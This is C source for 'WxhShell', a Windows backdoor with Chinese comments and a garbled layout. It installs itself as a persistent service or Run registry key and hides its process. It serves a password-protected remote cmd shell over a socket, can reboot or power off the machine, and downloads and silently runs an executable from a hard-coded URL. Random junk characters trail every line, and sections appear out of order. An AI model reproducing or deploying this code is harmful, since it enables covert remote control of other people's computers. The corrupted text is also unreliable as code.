    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $C?G7Vs  
    if(Boot(SHUTDOWN)) wA>bLPTw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sow/JLlbC  
    else { Mb[4G>-v=  
    closesocket(wsh); &m>txzo  
    ExitThread(0); fP 5!`8  
    } C%+>uzVIw  
    break; 7LdNE|IP  
    } s7#|'jhZt  
  // 获取shell 9,;+B8-A  
  case 's': { j])nkm7_  
    CmdShell(wsh); dk9nhS+faJ  
    closesocket(wsh); u:7=Yy :  
    ExitThread(0); gZ1|b  
    break; ,9;d"ce  
  } rO`n S<G  
  // 退出 |Zo_x} 0  
  case 'x': { 5`3f"(ay/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fttny]  
    CloseIt(wsh); P!)k4n  
    break; PX1Scvi  
    } jn;b{*Lf  
  // 离开 SY}iU@xo  
  case 'q': { _\Cd.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +6* .lRA  
    closesocket(wsh); NX*9nwp^  
    WSACleanup(); R.)U<`||  
    exit(1); x{|n>3l`b9  
    break; #2!M+S  
        } C4P7,  
  } %KmB>9  
  } ^Y:Q%?uB/  
=w.#j-jR  
  // 提示信息 "lf_`4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r_Rjjo  
} $u4esg  
  } \g}FoN&  
VrokEK*qbY  
  return; | We @p  
} 1LjYV  
m`c(J1Et  
// shell模块句柄 Xklp6{VH9  
int CmdShell(SOCKET sock) I$`Vw >  
{ NoJo-vo*  
STARTUPINFO si; FK#>E[[  
ZeroMemory(&si,sizeof(si)); % KY&E>^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t@/r1u|iq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3RRZVc* ^  
PROCESS_INFORMATION ProcessInfo; %;zWS/JhL  
char cmdline[]="cmd"; 8}Y( @ %4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -c=IO(B/  
  return 0; kx1-.~)p(z  
} 7@DinA!  
i*Y/q-N|  
// 自身启动模式 {F k]X#j  
int StartFromService(void) !@/?pXt|  
{ va;d[D,  
typedef struct ,h]N*Z-I"  
{ RkLH}`#  
  DWORD ExitStatus; fINM$ 6  
  DWORD PebBaseAddress; KX<RD|=  
  DWORD AffinityMask; %4L|#^7:  
  DWORD BasePriority; D 2!ww{t  
  ULONG UniqueProcessId; TL7-uH  
  ULONG InheritedFromUniqueProcessId; u(ZS sftat  
}   PROCESS_BASIC_INFORMATION; i}<R >]S  
6w}:w?=6  
PROCNTQSIP NtQueryInformationProcess; v& XG4 &  
^s5.jlZr@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Cy)#Z{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V7401@F  
Ky nZzR  
  HANDLE             hProcess; Vn/6D[}Tu  
  PROCESS_BASIC_INFORMATION pbi; dIO\ lL   
*qb`wg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7FDraEr#f  
  if(NULL == hInst ) return 0; ^1cqx]>E  
K.z}%a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "W+4`A(/l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8:&@MZQ&!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $e*Nr=/  
e#'`I^8l  
  if (!NtQueryInformationProcess) return 0; s*l_O* $'  
7GP?;P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *q0N$}k  
  if(!hProcess) return 0; [ objdQU`  
Jx>P%>+<j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C6P6hJm  
F}01ikXDb'  
  CloseHandle(hProcess); /BIPLDN6  
Pdn.c1[-a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5;^8wh(  
if(hProcess==NULL) return 0; MW$9,[  
DSjo%Brd-  
HMODULE hMod; J5o"JRJ"  
char procName[255]; *TXq/ 3g  
unsigned long cbNeeded; s=q+3NTv  
O.$<Bf9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rzTyHK[  
p~mB;pZ%;  
  CloseHandle(hProcess); AjlG_F  
F@I_sGCcb  
if(strstr(procName,"services")) return 1; // 以服务启动 R #ZDB]2  
rb_G0/R  
  return 0; // 注册表启动 b R6bS7$  
} hW},%  
y1'/@A1  
// 主模块 {'ZnxK'  
int StartWxhshell(LPSTR lpCmdLine) O:x=yj%^  
{ T#BOrT>V  
  SOCKET wsl; C}>&#)IH  
BOOL val=TRUE; o+t?OG/0  
  int port=0; sooh yK8  
  struct sockaddr_in door; i\;&CzC:  
|OZ>/l {  
  if(wscfg.ws_autoins) Install(); .)> /!|i  
)8 :RiG2B  
port=atoi(lpCmdLine); Y@H,Lk  
i?>> 9f@F  
if(port<=0) port=wscfg.ws_port; t;dQ~e20  
\'+{X(]  
  WSADATA data; _MbVF>JOx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hlFU"u_  
IIQ3|eZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p@8krOo`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8[1DO1*P  
  door.sin_family = AF_INET; n,jE#Z.D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LnTe_Q7_  
  door.sin_port = htons(port); fsJTwSI["  
5u)^FIBj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C}= _8N  
closesocket(wsl); /P!X4~sTM  
return 1; "gN*J)!x  
} mXU?+G0  
Ot$cmBhw!  
  if(listen(wsl,2) == INVALID_SOCKET) { P}+|`>L  
closesocket(wsl); qa$[L@h>  
return 1; EkStb#  
} M-Z6TL  
  Wxhshell(wsl); c]s (u+i  
  WSACleanup(); O:`GL1{ve?  
9D{u,Q V  
return 0; 6o[0sM_];  
u=d`j  
} sW]yuu!/  
<O,'5+zG%  
// 以NT服务方式启动 P|unUW(P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P;)2*:--)  
{ G zJ9N`  
DWORD   status = 0; 26\HV  
  DWORD   specificError = 0xfffffff; 9_J!s  
oTq%wi6 _  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8FO1`%8Oe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; " jl1.Ah  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oJlN.Q#u&  
  serviceStatus.dwWin32ExitCode     = 0; qO:U]\P  
  serviceStatus.dwServiceSpecificExitCode = 0; im_w+h%^  
  serviceStatus.dwCheckPoint       = 0; Qq`3S>  
  serviceStatus.dwWaitHint       = 0; fap|SMGt  
&%|xc{i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g2[K<  
  if (hServiceStatusHandle==0) return; ax-=n(   
$Qn& jI38  
status = GetLastError(); S2koXg(  
  if (status!=NO_ERROR) 7j@^+rkr3f  
{ (A7T}znG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +O|_P`HBoI  
    serviceStatus.dwCheckPoint       = 0; 2^ zg0!z  
    serviceStatus.dwWaitHint       = 0; ,3wI~ j=  
    serviceStatus.dwWin32ExitCode     = status; r:fwrC  
    serviceStatus.dwServiceSpecificExitCode = specificError; H/cs_i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UlK/x"JDv  
    return; /-DKV~  
  } <h'8w  
2B6^ ]pSk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 21.YO]Et  
  serviceStatus.dwCheckPoint       = 0; er(8}]X8Q  
  serviceStatus.dwWaitHint       = 0; +V2C}NQ5R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,3G$`  
} -6u H.  
NY~ dM\  
// 处理NT服务事件,比如:启动、停止 b0r,h)R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ly^E& ,)  
{ jFgZ}Xp  
switch(fdwControl) Q<z)q<e  
{ Sv.KI{;v$  
case SERVICE_CONTROL_STOP: eA`]K alH  
  serviceStatus.dwWin32ExitCode = 0; I|$'Q$m~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ILNE 4n  
  serviceStatus.dwCheckPoint   = 0; R|/Wz/$1A  
  serviceStatus.dwWaitHint     = 0; '*8  
  { .?A'6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !?yxh/>lM  
  } )$MS 0[?  
  return; wG_4$kyj  
case SERVICE_CONTROL_PAUSE: 1UC2zM"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t$aVe"uM  
  break; 1oB$MQoc  
case SERVICE_CONTROL_CONTINUE: 0 9tikj1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #]"/{Z  
  break; ,xYg  
case SERVICE_CONTROL_INTERROGATE: ,Yo: &>As  
  break; B<A:_'g  
}; >Ja0hS{*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 Q@9S  
} AlUJ1^o)  
H1Q''$}Z.  
// 标准应用程序主函数 6KVV z/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L%f-L.9`u  
{ t/A:k  
'=$TyiU  
// 获取操作系统版本 fQxSMPWB  
OsIsNt=GetOsVer(); HP#ki!'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e "_&z# 2_  
'wa g |-  
  // 从命令行安装 ;.\g-`jb  
  if(strpbrk(lpCmdLine,"iI")) Install(); :#qUMiu$  
-P2 @mx%  
  // 下载执行文件 .a {QA  
if(wscfg.ws_downexe) { ehU"*9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8`a,D5U:  
  WinExec(wscfg.ws_filenam,SW_HIDE); P?xA$_+  
} 4yhcK&  
b"^\)|*4;  
if(!OsIsNt) { f7.m=lbe  
// 如果时win9x,隐藏进程并且设置为注册表启动 5H~@^!7t  
HideProc(); K@HLIuz4t  
StartWxhshell(lpCmdLine); 8*vFdoE_oO  
} ,b$z!dvhl  
else ^+EMZFjg(  
  if(StartFromService()) M' YJ"  
  // 以服务方式启动 #o~[1K+Yq  
  StartServiceCtrlDispatcher(DispatchTable); A^8x1ydZ  
else |"_)zQ  
  // 普通方式启动 !1("(Eb  
  StartWxhshell(lpCmdLine); TFYw  
Q@3B{  
return 0; & wOE\TCL  
} Q~8y4=|#CY  
/Ad6+cY  
Zct!/u9 Q  
hw*1gm  
=========================================== yYg   
\,hrk~4U;(  
%oR>Uo  
loLKm]yV  
pG~'shD~Dn  
ERp{gB2U?  
" RU7!U mf  
2?*||c==*  
#include <stdio.h> 1b8c67j[  
#include <string.h> Wy8,<K{  
#include <windows.h> *CzCUu:%t  
#include <winsock2.h> U[bgu#P;  
#include <winsvc.h> g [AA,@p+  
#include <urlmon.h> Rh[Ibm56  
sSz%V[X WL  
#pragma comment (lib, "Ws2_32.lib") w1c w1xX*  
#pragma comment (lib, "urlmon.lib") M.S s: ttj  
}DbE4"^K7  
#define MAX_USER   100 // 最大客户端连接数 ' Wtf>`  
#define BUF_SOCK   200 // sock buffer I.-v?1>,  
#define KEY_BUFF   255 // 输入 buffer [1Uz_HY["3  
_!%M%  
#define REBOOT     0   // 重启 &lq^dFP&Su  
#define SHUTDOWN   1   // 关机 4j{oaey  
]{Z8  
#define DEF_PORT   5000 // 监听端口 <&6u]uKrW  
4 A5t*e  
#define REG_LEN     16   // 注册表键长度 rpSr^slr  
#define SVC_LEN     80   // NT服务名长度 $HxS:3D%D  
^j[Ku  
// 从dll定义API Qww^P/vm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GZ"&L?ti  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =},{8fZ4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KxX[ S.C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (![t_r0  
)@_ugW-j  
// wxhshell配置信息 4~*Y];!Q  
struct WSCFG { %Lyz_2q A  
  int ws_port;         // 监听端口 x~z_,':  
  char ws_passstr[REG_LEN]; // 口令 VVFV8T4  
  int ws_autoins;       // 安装标记, 1=yes 0=no HA1]M`&  
  char ws_regname[REG_LEN]; // 注册表键名 WcU@~05b  
  char ws_svcname[REG_LEN]; // 服务名 <XvYa{t]{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {\L|s5=yr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t$5jx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +aj^Cs1$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `.[ 8$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;:T9IL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p/3BD&6  
Y1WHy *s?  
}; |(RZ/d<X\a  
f1J %]g!  
// default Wxhshell configuration sl^n6N  
struct WSCFG wscfg={DEF_PORT, ami09JHy  
    "xuhuanlingzhe", xDUaHE1co  
    1, {>h97}P  
    "Wxhshell", :!']p2B  
    "Wxhshell", B=dseeG[To  
            "WxhShell Service", Z%e|*GS{  
    "Wrsky Windows CmdShell Service", rREzM)GA  
    "Please Input Your Password: ", O|7yP30?M  
  1, @hsbq  
  "http://www.wrsky.com/wxhshell.exe", EHhd;,;O  
  "Wxhshell.exe" s1=+::  
    }; V^2-_V]8  
)!sa)\E?  
// 消息定义模块 7k~Lttuk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3S;N(A4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "H?QqrKx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g z4UV/qr/  
char *msg_ws_ext="\n\rExit."; JGgxAd{L  
char *msg_ws_end="\n\rQuit."; /PW&$P1.]"  
char *msg_ws_boot="\n\rReboot..."; Vo >Xp  
char *msg_ws_poff="\n\rShutdown..."; ]"h=Qc  
char *msg_ws_down="\n\rSave to "; wS%zWdsz  
I7zn>^0}  
char *msg_ws_err="\n\rErr!"; VMF|iB  
char *msg_ws_ok="\n\rOK!"; ZF'HM@cfo  
8(Fu  
char ExeFile[MAX_PATH]; )$_,?*fq:  
int nUser = 0; oCuV9dA.  
HANDLE handles[MAX_USER]; ?ZX!7^7  
int OsIsNt; .`J:xL%Z  
4| f}F  
SERVICE_STATUS       serviceStatus; " '[hr$h3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ag6uR(uI  
wDw<KU1UK  
// 函数声明 o_rtH|ntX5  
int Install(void); j 3P$@<  
int Uninstall(void); Y&GuDLUF  
int DownloadFile(char *sURL, SOCKET wsh); Q.ukY@L.'  
int Boot(int flag); $20s]ywS  
void HideProc(void); Ue!Q."  
int GetOsVer(void); 61|B]ei/  
int Wxhshell(SOCKET wsl); e8q4O|I_  
void TalkWithClient(void *cs); d.cCbr:  
int CmdShell(SOCKET sock); L[]BzsIv  
int StartFromService(void); =:/>6 H1x  
int StartWxhshell(LPSTR lpCmdLine); 6#|qg*OS  
WK4@:k m6)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7Ud'd<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N9`97;.X  
PpFsp( )x  
// 数据结构和表定义 Wj OH/$(  
SERVICE_TABLE_ENTRY DispatchTable[] = c[:Wf<% |  
{ 5Eal1Qu  
{wscfg.ws_svcname, NTServiceMain}, HfZtL  
{NULL, NULL} j ug'g  
}; liD47}+  
a( |xw  
// 自我安装 +?V0:Kz]  
int Install(void) !tBeuemN%  
{ U`1l8'W}:#  
  char svExeFile[MAX_PATH]; JY@X2'>v/  
  HKEY key; N&x:K+Zm .  
  strcpy(svExeFile,ExeFile); =G>.-Qfs  
tBv3~Of.  
// 如果是win9x系统,修改注册表设为自启动  (YrR8  
if(!OsIsNt) { WW6yFriuW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9P0yv3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qi:j)uDW  
  RegCloseKey(key); =GTD"*vwr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X HQh4W3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : I)Gv  
  RegCloseKey(key); S.hC$0vrj  
  return 0; MWhwMj!:m  
    } v F[CWV.  
  } a2X h>{  
} R9vY:oN%  
else { PGY9*0n  
8f-:d]  
// 如果是NT以上系统,安装为系统服务 h?A'H RyL~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s|gp  
if (schSCManager!=0) :d({dF_k;p  
{ )-q\aX$])  
  SC_HANDLE schService = CreateService %A2`&:ip  
  ( eJ:Yj ~X`<  
  schSCManager, "& Mou  
  wscfg.ws_svcname, !;+U_j'Pg  
  wscfg.ws_svcdisp, piuKV U  
  SERVICE_ALL_ACCESS, zp#:EZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R+F,H`  
  SERVICE_AUTO_START, ! ]\2A.b[  
  SERVICE_ERROR_NORMAL, LfllO  
  svExeFile, x ^[F]YU  
  NULL, cUsL 6y  
  NULL, Rn;VP:HM  
  NULL, (Com,  
  NULL, ^Xa*lR 3  
  NULL :o l6%Z's  
  ); CpSK(2j  
  if (schService!=0) V&R$8tpz  
  { B,A\/%<  
  CloseServiceHandle(schService); /$UWTq/C7  
  CloseServiceHandle(schSCManager); (=tu~ ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1tH#QZIT  
  strcat(svExeFile,wscfg.ws_svcname); pF:C   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *35o$P46  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !6*4^$i#o  
  RegCloseKey(key); S{~j5tQv^q  
  return 0; [Ib17#74  
    } ^NO;A=9b[  
  } <##aD3)  
  CloseServiceHandle(schSCManager); wKy4Ic+RV  
} ?$4CgN-  
} w M#q [m;  
vpu   
return 1; w6'8L s  
} RH;Kbu  
+/Vzw  
// 自我卸载 {ALOs^_-  
int Uninstall(void) `,6^eLU  
{ 'h{DjNSM  
  HKEY key; (9!kKMQW'  
13I~   
if(!OsIsNt) { 4\2~wSr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A Zv| |8p  
  RegDeleteValue(key,wscfg.ws_regname); Jry643K>:;  
  RegCloseKey(key); L9 H.DNA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S3YAc4  
  RegDeleteValue(key,wscfg.ws_regname); Jv:|J DZ'  
  RegCloseKey(key); z';h5GNd>z  
  return 0; b]\V~ZaXG  
  } K#plSD^f=  
} A*3R@G*h  
} _ 4+=S)$  
else { iTeFy -Ct  
edh<L/%D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n/GJ&qLi:g  
if (schSCManager!=0) 8\8%FSrc  
{ |n.ydyu`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2N_9S?a3sK  
  if (schService!=0) 1z=}`,?>  
  { gPWl#5P:  
  if(DeleteService(schService)!=0) { " qrL:,   
  CloseServiceHandle(schService); \( xQ'AQ-  
  CloseServiceHandle(schSCManager); aV?r%'~Z  
  return 0; c)=UX_S!  
  } 9i#K{CkC|  
  CloseServiceHandle(schService); 7$I *ju_  
  } >.#tNFAs  
  CloseServiceHandle(schSCManager); \{`*`WQF  
} T 9?!.o  
} v4wXa:CJ  
Voc&T+A m  
return 1; _fANl}Mf:  
} (3Z~EIZz  
EAjo>GLI  
// 从指定url下载文件 L\UM12  
int DownloadFile(char *sURL, SOCKET wsh) yj{:%Km:`  
{ _i{4 4zE  
  HRESULT hr; @;@Wt`(2a  
char seps[]= "/"; ) BLoj:gYn  
char *token; _ a,XL<9I  
char *file; y7# 4Mcc`~  
char myURL[MAX_PATH]; oJTsrc_ -  
char myFILE[MAX_PATH]; 4i o02qd 4  
n;Etn!4M  
strcpy(myURL,sURL); A?8 29<  
  token=strtok(myURL,seps); LlG~aGhel  
  while(token!=NULL) & A<Pf.Us  
  { wY j~(P"  
    file=token; _Uz}z#jt  
  token=strtok(NULL,seps); DY%#E9   
  } mD p|EXN  
> ak53Ij$  
GetCurrentDirectory(MAX_PATH,myFILE); vXM``|  
strcat(myFILE, "\\"); ^~dvA)bH  
strcat(myFILE, file); >, }m=X8  
  send(wsh,myFILE,strlen(myFILE),0); ;"/ "  
send(wsh,"...",3,0); L"6@3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bz? *#S  
  if(hr==S_OK) QYL ';  
return 0; z[wk-a+w  
else ,FPgbs  
return 1; 4n@, p0   
qqYH}%0dz  
} {9 Op{bZ  
c};Qr@vpo  
// 系统电源模块 n[/|M  
int Boot(int flag) VmB/X))   
{ HiG&`:P>q  
  HANDLE hToken; rLcQG  
  TOKEN_PRIVILEGES tkp; `v)-v<  
EF{_-FXY  
  if(OsIsNt) { \(LHcvbb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G?/1 F1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !m1pL0  
    tkp.PrivilegeCount = 1; U9xFQ=$ 2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AsM""x1Ix  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n6nwda  
if(flag==REBOOT) { *R>I%?]V3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +* )Qi)  
  return 0; R#bg{|  
} )[)-.{q  
else { H2RNekck  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q#PGcCtu  
  return 0; 6|LDb"Rvy  
} !U/: !e`N  
  } N2tvP+Z6D  
  else { (vjQF$Hp  
if(flag==REBOOT) { ~eL7=G@{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tO?*x/XC{  
  return 0; -ij1%#tz  
} AJ:@c7:eS  
else { 7XWgY%G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mXF pGo5 s  
  return 0; '7'cKp  
} 3g|O2>*?  
} 4 '9h^C&  
8yFD2(#  
return 1; =$Q3!bJ  
} `U`Z9q5-  
7qXgHrr0|U  
// win9x进程隐藏模块 S_2I8G^A  
void HideProc(void) rT}d<c Sf  
{ B{1+0k  
a9jY^E'|n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rzaEVXbz1  
  if ( hKernel != NULL ) ;N"XW=F4e  
  { -R7f/a8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zLXtj-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z/x<U.B  
    FreeLibrary(hKernel); e$>5GM  
  } {/0,lic  
A7b7IM[  
return; _9 Gy`  
} J;_JH lK  
2,QkktJLo  
// 获取操作系统版本 ,CM$A}7[  
int GetOsVer(void) g\ *gHHa  
{ Va*Uwy?x/)  
  OSVERSIONINFO winfo; x-Mp6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (c[h,>`@:  
  GetVersionEx(&winfo); & vLX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {&h&:  
  return 1; =$`DBLX   
  else ] &G5/ ]f  
  return 0; %] #; ~I%  
} [?IERE!xQ  
<RhKlCP  
// 客户端句柄模块 RXWjFv~/  
int Wxhshell(SOCKET wsl) hCxL4LrF  
{ Bgs~1E@8V  
  SOCKET wsh; dU&.gFw1  
  struct sockaddr_in client; Gg.w-&  
  DWORD myID; s~]nsqLt9p  
?Y hua9  
  while(nUser<MAX_USER) RD_;us@&&*  
{ KT g$^"\  
  int nSize=sizeof(client); dIpt&nH&$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I8Zp#'|U  
  if(wsh==INVALID_SOCKET) return 1; /t9w%Y  
}zobIfIF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AV2q*  
if(handles[nUser]==0) X  ]a>  
  closesocket(wsh); #63/;o:l$  
else ?xf;#J+{8  
  nUser++; Czci6 Lz  
  } h3)KT+7.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +I Ze`M%n  
|@@mq!>-  
  return 0; G1nW{vce  
} iZSSd{jO  
)Xh_q3=  
// 关闭 socket W?l .QQk  
void CloseIt(SOCKET wsh) KOmP-q=6  
{ mhVoz0%1X  
closesocket(wsh); e N-{  
nUser--; 8uGPyH  
ExitThread(0); fgp 7 |;Y  
} hL3,/^;E,  
G^(&B30V  
// 客户端请求句柄 v|/3Mi9mz  
void TalkWithClient(void *cs) u:S@'z>  
{ dH/t|.%  
NSgHO`gU8  
  SOCKET wsh=(SOCKET)cs; fhY[I0;}$  
  char pwd[SVC_LEN]; y="SzPl  
  char cmd[KEY_BUFF]; 8x9kF]=  
char chr[1]; &Bp\kv  
int i,j; nfJ8Rt   
~`})x(!  
  while (nUser < MAX_USER) {  g_>ZE  
V- cuG.  
if(wscfg.ws_passstr) { ^i8I 1@ =  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x<Zhj3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9V66~Bf5  
  //ZeroMemory(pwd,KEY_BUFF); ommKf[h%i  
      i=0; 0`P]fL+&  
  while(i<SVC_LEN) { _RW[]MN3*  
$&C(oh$:  
  // 设置超时 C^%zV>o  
  fd_set FdRead; jSFN/C.9h  
  struct timeval TimeOut; lz)"zV  
  FD_ZERO(&FdRead); Y1 P[^ws  
  FD_SET(wsh,&FdRead); :xw3b)KS  
  TimeOut.tv_sec=8; 4{DeF@@  
  TimeOut.tv_usec=0; ya{>=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BY0|exW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j>o +}p?3I  
$CmX &%L=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |\a:]SlH  
  pwd=chr[0]; ys/mv'#>  
  if(chr[0]==0xd || chr[0]==0xa) { hf<$vRti>  
  pwd=0; RGO:p]t|  
  break; k,7+=.6  
  } DVhTb  
  i++; ` (D4gPW  
    } l;BX\S  
5b#6 Y  
  // 如果是非法用户,关闭 socket QklNw6,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iw fp'  
} Ys$YI{  
O|Ic[XfLx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q$)|/Y))  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  <8)s  
r.W,-%=bL  
while(1) { *yaX:,'\$  
}IN_5o((  
  ZeroMemory(cmd,KEY_BUFF); Z va  
%%~}Lw  
      // 自动支持客户端 telnet标准   sdf%  
  j=0; ey)u7-O  
  while(j<KEY_BUFF) { [tqO}D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )E:,V~< 8  
  cmd[j]=chr[0]; ^QAiySR`0  
  if(chr[0]==0xa || chr[0]==0xd) { +oy&OKCa  
  cmd[j]=0; (kC} ,}  
  break; 'yd@GQM&  
  } #jZ@l3  
  j++; (.1 rtj  
    } HRV*x!|I  
h4anr7g{  
  // 下载文件 rAx"~l.=  
  if(strstr(cmd,"http://")) { =x^l[>sz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qon{ g  
  if(DownloadFile(cmd,wsh)) i7nL_N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ISS\uj63M  
  else ADGnBYE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =dM.7$6) R  
  } @8nLQh^  
